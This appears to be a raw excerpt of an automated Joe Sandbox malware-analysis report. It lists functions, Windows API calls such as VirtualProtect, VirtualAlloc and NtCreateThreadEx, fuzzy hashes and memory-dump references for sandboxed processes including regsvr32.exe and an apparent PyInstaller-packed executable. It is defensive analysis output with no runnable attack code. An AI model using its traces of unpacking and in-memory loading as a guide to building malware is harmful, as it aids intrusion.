Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: lstrcat$_free
String ID: \Last Version
API String ID: 1597172325-2633859252
Opcode ID: 275df278d6a0eeb7307c21a5f1b8ec5f34126f56298b100b356fba610f952ba9
Instruction ID: b6444f3352693f9ae208fc0235328b577df16b92f8a1dd9c5a99965f94f9b5e4
Opcode Fuzzy Hash: 275df278d6a0eeb7307c21a5f1b8ec5f34126f56298b100b356fba610f952ba9
Instruction Fuzzy Hash: 5CF096B65442186BD200B765EC46D4B77ECEF86314F000424FA4897341E26AAD15CBB3

Uniqueness

Uniqueness Score: -1.00%

Function 00405F8F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0040320A: __getptd.LIBCMT ref: 00403210
Part of subcall function 0040320A: __getptd.LIBCMT ref: 00403220

__getptd.LIBCMT ref: 00405F9E

Part of subcall function 00406A89: __getptd_noexit.LIBCMT ref: 00406A8C
Part of subcall function 00406A89: __amsg_exit.LIBCMT ref: 00406A99

__getptd.LIBCMT ref: 00405FAC

Strings

csm, xrefs: 00405FBA

Memory Dump Source

Source File: 00000008.00000002.2040667690.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2040644374.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040704026.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040726233.0000000000411000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040750410.0000000000413000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2040774433.0000000000417000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_5828.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: f27be2a6cce1dea113f21df7c239339f8d42f9ded0ae16fe9de1985bb3b11bf9
Instruction ID: 67bdeb9f2ee44fae796b1a410a1a9c6d02799f007e3c73e1a5c8c908ed849090
Opcode Fuzzy Hash: f27be2a6cce1dea113f21df7c239339f8d42f9ded0ae16fe9de1985bb3b11bf9
Instruction Fuzzy Hash: CA011634800205CADF34DF66D444AAEB7B9AF14319F95443FE546762D1CB398AA0CE49

Uniqueness

Uniqueness Score: -1.00%

Function 00778FA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,?), ref: 00778FC0
lstrcatW.KERNEL32(00000000,00000000), ref: 00778FD3

Part of subcall function 00787725: _free.LIBCMT ref: 00787738

Strings

ec48478eb02322f7d86623ec, xrefs: 00778FC2

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: lstrcat$_free
String ID: ec48478eb02322f7d86623ec
API String ID: 1597172325-1363470560
Opcode ID: 8c86a0e8373dec241a35d0a06da638fe6bf4e74fa928ad8e386668c74dd80885
Instruction ID: 47182d0f52e1e2b2c698944242552759c068ac9bbcc9eccae111ebb0e6cebb6c
Opcode Fuzzy Hash: 8c86a0e8373dec241a35d0a06da638fe6bf4e74fa928ad8e386668c74dd80885
Instruction Fuzzy Hash: 03E092E3A042056BF50072B43C8BD6F115CCFC27A4F180039FA05C2242FA19DD1583B7

Uniqueness

Uniqueness Score: -1.00%

Function 00786437 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0078647A

Strings

X{d, xrefs: 00786437, 0078646C

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: _free
String ID: X{d
API String ID: 269201875-469410662
Opcode ID: c68fd4baaca8d28a53c81206482c6a53a1a1e6541e53e1ec8068a95290da2760
Instruction ID: 16999ed068c2598999362b8bfa241c459b5fb2c1306c35c689abc83083fc397d
Opcode Fuzzy Hash: c68fd4baaca8d28a53c81206482c6a53a1a1e6541e53e1ec8068a95290da2760
Instruction Fuzzy Hash: 13E022665C7590A1E66B363E7C0927E0741ABC2370F114326F828E60D0DF3C4E0243B2

Uniqueness

Uniqueness Score: -1.00%

Function 0078CE2A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetOEMCP.KERNEL32(00000000,0078CFBB,?,?,Eyx,00787945,00000000,?,?), ref: 0078CE55
GetACP.KERNEL32(00000000,0078CFBB,?,?,Eyx,00787945,00000000,?,?), ref: 0078CE6C

Strings

Eyx, xrefs: 0078CE2C

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID:
String ID: Eyx
API String ID: 0-691252616
Opcode ID: aaa6a6fdc9e8d4b99389aa8a6eaa5c023af619dc0ac72f065f5c47c695586366
Instruction ID: 1f4b6577e2f8786e7bd1a69cbfe6d0e7f9122c2a0cfbef2c9b47f7b3e02f2b56
Opcode Fuzzy Hash: aaa6a6fdc9e8d4b99389aa8a6eaa5c023af619dc0ac72f065f5c47c695586366
Instruction Fuzzy Hash: 99F09030840244CFDB11EBA8D84C76877B0FB82339F208748E6358A1E2C7BD9D85CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0078DA93 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

Part of subcall function 00793AD8: DeleteCriticalSection.KERNEL32(007A8150,?,?,?,?,007A3060,00000010,0078DAA0), ref: 00793B3B
Part of subcall function 00793AD8: _free.LIBCMT ref: 00793B49

Part of subcall function 00792BBF: _free.LIBCMT ref: 00792BE3

DeleteCriticalSection.KERNEL32(0064EE10), ref: 0078DABC
_free.LIBCMT ref: 0078DAD0

Strings

0d, xrefs: 0078DAA2, 0078DAAF, 0078DAD5

Memory Dump Source

Source File: 00000008.00000002.2041303179.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00730000, based on PE: true

Associated: 00000008.00000002.2041281714.0000000000730000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041347626.000000000079A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041371206.00000000007A4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.2041395482.00000000007AA000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_730000_5828.jbxd

Yara matches

Similarity

API ID: _free$CriticalDeleteSection
String ID: 0d
API String ID: 1906768660-1017762412
Opcode ID: 5262d20332b59953b93ad03dd2208fc3e55b7ef8c6e645ad6209bcf101fafe58
Instruction ID: d270e5f1ab27c2ba181346de37f8edf088331471155bb8b66d3ad6b4e55ee5aa
Opcode Fuzzy Hash: 5262d20332b59953b93ad03dd2208fc3e55b7ef8c6e645ad6209bcf101fafe58
Instruction Fuzzy Hash: 42E0D833844019DBC6307758FC8D98933D5DB8A3247224046F65667161DA3C6CA1878D

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 7096, Parent PID: 6992COMMON

Execution Graph

Execution Coverage:	33%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	44
Total number of Limit Nodes:	10

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 04E811CC Relevance: 6.5, APIs: 4, Instructions: 470
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 04E82FB4
VirtualProtect.KERNELBASE(?,?,?,?), ref: 04E82FDD
VirtualProtect.KERNELBASE(?,?,?,?), ref: 04E83000
VirtualAlloc.KERNELBASE(?,?,?,?), ref: 04E830ED

Memory Dump Source

Source File: 0000000B.00000002.2029187519.0000000004E81000.00000020.00001000.00020000.00000000.sdmp, Offset: 04E81000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4e81000_regsvr32.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: 18c1ffa5c185f2632f5b6004ef4ef12a182acf22e672a2edea88375e460f6e81
Instruction ID: f37c8566b0c6959ac647162e0eb280043928995e1365fd9bcd0e7d6e4cdbb8e7
Opcode Fuzzy Hash: 18c1ffa5c185f2632f5b6004ef4ef12a182acf22e672a2edea88375e460f6e81
Instruction Fuzzy Hash: EA124F72E002199FDB59CF65CD50BEDB7F2AB88314F1581AAD50EAB355DB30AA818F40

Uniqueness

Uniqueness Score: -1.00%

Function 04FB8FF0 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 04FB9228

Strings

%I, xrefs: 04FB91B2

Memory Dump Source

Source File: 0000000B.00000002.2029677738.0000000004FB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04FB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4fb1000_regsvr32.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID: %I
API String ID: 2591292051-1711097787
Opcode ID: a0edfb805d789bfcd0c4e6806769514b9e7d000acc5846622e7d16e57b2f300b
Instruction ID: 9736fdd580b80403d8727a50db5d6dec70c37ce786a29d7e35e7d3258ad4d4c1
Opcode Fuzzy Hash: a0edfb805d789bfcd0c4e6806769514b9e7d000acc5846622e7d16e57b2f300b
Instruction Fuzzy Hash: 8B71BF73E087218BC714CF29C88059AB7E2BBD5310F168A2DE984AB344DB75AC06CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 04FB86B0 Relevance: 1.7, APIs: 1, Instructions: 240
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileMappingW.KERNELBASE(?,?,?,?,?,?), ref: 04FB8814

Memory Dump Source

Source File: 0000000B.00000002.2029677738.0000000004FB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04FB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4fb1000_regsvr32.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: 524decd05a21edfa467997e122090d9eafa2b066380b9233c653c2d869c9852d
Instruction ID: 166e87a29e84969d291bbe0d66e1af5c1409445ca11396540a83f03a3b47cf79
Opcode Fuzzy Hash: 524decd05a21edfa467997e122090d9eafa2b066380b9233c653c2d869c9852d
Instruction Fuzzy Hash: EBA17077E002288FDB14CF69CC816DDB7B6BF89314F1A819AD849AB355D734A942CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04FB7FA0 Relevance: 1.7, APIs: 1, Instructions: 235
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateThreadEx.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 04FB8120

Memory Dump Source

Source File: 0000000B.00000002.2029677738.0000000004FB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04FB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4fb1000_regsvr32.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: dba4dd74d522ad8d8851d5fb39359bb0c9d497a9424029f4f140edd82bcc5757
Instruction ID: df8d39c263f74331cfad2e08c3025983651ecec127f8879ca157e157b5443276
Opcode Fuzzy Hash: dba4dd74d522ad8d8851d5fb39359bb0c9d497a9424029f4f140edd82bcc5757
Instruction Fuzzy Hash: 29B13B76E012288FDB10CF59C840ADDBBB6FF89310F268195D948AB355D731AA86CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04FB3730 Relevance: 1.7, APIs: 1, Instructions: 196
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MapViewOfFile.KERNELBASE(?,?,?,?,?), ref: 04FB39AB

Memory Dump Source

Source File: 0000000B.00000002.2029677738.0000000004FB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04FB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4fb1000_regsvr32.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 919b383738b81c9bdb7f30cc2e71ba5052d79adb6defbebf4166100932ccb5ff
Instruction ID: 3c3e825ca3b428ff3df0b66c22d4ec0ea762ddedf1e11009a7e9fd9190d2e6cd
Opcode Fuzzy Hash: 919b383738b81c9bdb7f30cc2e71ba5052d79adb6defbebf4166100932ccb5ff
Instruction Fuzzy Hash: EF817E36A087418FC324CF29D88169AB7E3BFC9314F168A1DE4D99B355D731B916CB82

Uniqueness

Uniqueness Score: -1.00%

Function 04FB33E0 Relevance: 1.5, APIs: 1, Instructions: 225
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 04FB356D

Memory Dump Source

Source File: 0000000B.00000002.2029677738.0000000004FB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04FB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4fb1000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7d8f54ff132f7242ad0d84f8125bb695a1f7caf14ce885aea5841b704cf856be
Instruction ID: f44c432a6556a14d05c6a386982d02952225c645f303fb066f7e21242be1c0d8
Opcode Fuzzy Hash: 7d8f54ff132f7242ad0d84f8125bb695a1f7caf14ce885aea5841b704cf856be
Instruction Fuzzy Hash: B291E377A187418FD714CE2AC88169AFBE3BFC9304F258A1DE5958B355CB34E906CB81

Uniqueness

Uniqueness Score: -1.00%

Function 04FB3A30 Relevance: 1.4, APIs: 1, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 04FB3CAB

Memory Dump Source

Source File: 0000000B.00000002.2029677738.0000000004FB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 04FB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4fb1000_regsvr32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: f4e6a6f3525bbbf81e637efd0ebe2bd24ee0899b35a26996f336cfdb243209d9
Instruction ID: addd973461913c3bd1c5ad4c2710f617889b9a477c241766752c7c4a5b8713a1
Opcode Fuzzy Hash: f4e6a6f3525bbbf81e637efd0ebe2bd24ee0899b35a26996f336cfdb243209d9
Instruction Fuzzy Hash: 13718E76A082518FD714CF2AC88065FF7E2BFC9310F59892DE895DB354DA34E8068BC1

Uniqueness

Uniqueness Score: -1.00%

Function 030418BF Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 93
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 030419BC

Strings

`, xrefs: 03041AFE

Memory Dump Source

Source File: 0000000B.00000002.2028857915.0000000003040000.00000040.00001000.00020000.00000000.sdmp, Offset: 03040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3040000_regsvr32.jbxd

Similarity

API ID: ProtectVirtual
String ID: `
API String ID: 544645111-2679148245
Opcode ID: 10d927a0ef807f9329f92f2ce7876a245b45d0536dd81479b9a9bbbd9b673e67
Instruction ID: 6dfbd7f06f8421b01fb56e567cb4ac2d73f257b6b7efe1269252b8bce6298976
Opcode Fuzzy Hash: 10d927a0ef807f9329f92f2ce7876a245b45d0536dd81479b9a9bbbd9b673e67
Instruction Fuzzy Hash: 9F419CB5E012288FDB58CF18C880B89FBB1FF49304F1581A9C949AB356D731AE91CF91

Uniqueness

Uniqueness Score: -1.00%

Function 03042277 Relevance: 1.3, APIs: 1, Instructions: 86
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 030422EF

Memory Dump Source

Source File: 0000000B.00000002.2028857915.0000000003040000.00000040.00001000.00020000.00000000.sdmp, Offset: 03040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3040000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8692b4a890a1f0e8405c305bb0c692db346476b77616067c38c44175f63d29dd
Instruction ID: 2f657b6d81333ae790a19f05df6e8a0d7d9173201cac07c8b0a6abc31bf79201
Opcode Fuzzy Hash: 8692b4a890a1f0e8405c305bb0c692db346476b77616067c38c44175f63d29dd
Instruction Fuzzy Hash: 664103B49012058FCB44DFA4C1947AEBBF0FF48304F24856ED858AB341D37AA946CF95

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 7017.exePID: 6576, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	10.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	30

Executed Functions

Function 00007FF7FA724E50 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF7FA724E95

Part of subcall function 00007FF7FA7247E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA7247FC

Part of subcall function 00007FF7FA719E48: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF7FA721E72,?,?,?,00007FF7FA721EAF,?,?,00000000,00007FF7FA722375,?,?,?,00007FF7FA7222A7), ref: 00007FF7FA719E5E
Part of subcall function 00007FF7FA719E48: GetLastError.KERNEL32(?,?,?,00007FF7FA721E72,?,?,?,00007FF7FA721EAF,?,?,00000000,00007FF7FA722375,?,?,?,00007FF7FA7222A7), ref: 00007FF7FA719E68

Part of subcall function 00007FF7FA719E00: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7FA719DDF,?,?,?,?,?,00007FF7FA71221C), ref: 00007FF7FA719E09
Part of subcall function 00007FF7FA719E00: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7FA719DDF,?,?,?,?,?,00007FF7FA71221C), ref: 00007FF7FA719E2E

_get_daylight.LIBCMT ref: 00007FF7FA724E84

Part of subcall function 00007FF7FA724848: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA72485C

_get_daylight.LIBCMT ref: 00007FF7FA7250FA
_get_daylight.LIBCMT ref: 00007FF7FA72510B
_get_daylight.LIBCMT ref: 00007FF7FA72511C
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7FA72535C), ref: 00007FF7FA725143

Strings

W. Europe Standard Time, xrefs: 00007FF7FA7251E9
W. Europe Summer Time, xrefs: 00007FF7FA725201

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureInformationLanguagesLastPreferredPresentProcessProcessorRestoreThreadTimeZone
String ID: W. Europe Standard Time$W. Europe Summer Time
API String ID: 1458651798-690618308
Opcode ID: d0b24d2932c4ad6ce00caff4c74da18a926a82f58135b852f5126ac34a18b219
Instruction ID: 57ed59d61eace16c13bf7a5eaedff6ec6328a1f9806977acc8d1d757a7f69fea
Opcode Fuzzy Hash: d0b24d2932c4ad6ce00caff4c74da18a926a82f58135b852f5126ac34a18b219
Instruction Fuzzy Hash: 5FD1A226A1824286F720BF26D8409B9A3E5FF8C794F844175DA6D47AC5DF3CE4418BF4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA725D9C Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7FA725AD0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA725B11
Part of subcall function 00007FF7FA725AD0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA725B8F
Part of subcall function 00007FF7FA725AD0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA725BE0

CreateFileW.KERNELBASE ref: 00007FF7FA725EA2
CreateFileW.KERNEL32 ref: 00007FF7FA725EF2
GetLastError.KERNEL32 ref: 00007FF7FA725F22
GetFileType.KERNELBASE ref: 00007FF7FA725F37
GetLastError.KERNEL32 ref: 00007FF7FA725F41
CloseHandle.KERNEL32 ref: 00007FF7FA725F74
CloseHandle.KERNEL32 ref: 00007FF7FA7260D7
CreateFileW.KERNEL32 ref: 00007FF7FA72610C
GetLastError.KERNEL32 ref: 00007FF7FA72611B

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 4c9dcb694f9da37b9569774e6528ce897b09f0f884fc50d365155145b1bc53bc
Instruction ID: 05cc99dd3a519ff411a89ce000268e10313979c41b17e4fc0259c9142de6c522
Opcode Fuzzy Hash: 4c9dcb694f9da37b9569774e6528ce897b09f0f884fc50d365155145b1bc53bc
Instruction Fuzzy Hash: 7BC1E132B28A4285FB10EF64C480AAD77A5FB4CBA8B405275DE2E5B3D5CF38D011C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA7067A0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,?,?,00007FF7FA70676D), ref: 00007FF7FA706837

Part of subcall function 00007FF7FA7069B0: GetEnvironmentVariableW.KERNEL32(00007FF7FA703707), ref: 00007FF7FA7069EA
Part of subcall function 00007FF7FA7069B0: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7FA706A07

Part of subcall function 00007FF7FA7166E4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA7166FD

SetEnvironmentVariableW.KERNEL32(?,?,00000000,?,?,00007FF7FA70676D), ref: 00007FF7FA7068F1

Part of subcall function 00007FF7FA702770: MessageBoxW.USER32 ref: 00007FF7FA702845

Strings

TMP, xrefs: 00007FF7FA7067DA, 00007FF7FA706899, 00007FF7FA706927
TMP, xrefs: 00007FF7FA706800
LOADER: Failed to set the TMP environment variable., xrefs: 00007FF7FA70681A
_MEI%d, xrefs: 00007FF7FA706845

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
API String ID: 3752271684-1116378104
Opcode ID: 1d9e258da007ff631f6f4def1fb3654599ed4050775efbb50ecb9fbb99f68cf7
Instruction ID: 12e3e90c4edee9e53865e38341b9c5a2d1464147efbce69fe0e4af0143f8de6f
Opcode Fuzzy Hash: 1d9e258da007ff631f6f4def1fb3654599ed4050775efbb50ecb9fbb99f68cf7
Instruction Fuzzy Hash: 26517161B1D64341FB24BF629921ABBD2919F8DBD0FC480B5ED2E477D6DE2CE40186B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA7250CC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF7FA7250FA

Part of subcall function 00007FF7FA724848: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA72485C

_get_daylight.LIBCMT ref: 00007FF7FA72510B

Part of subcall function 00007FF7FA7247E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA7247FC

_get_daylight.LIBCMT ref: 00007FF7FA72511C

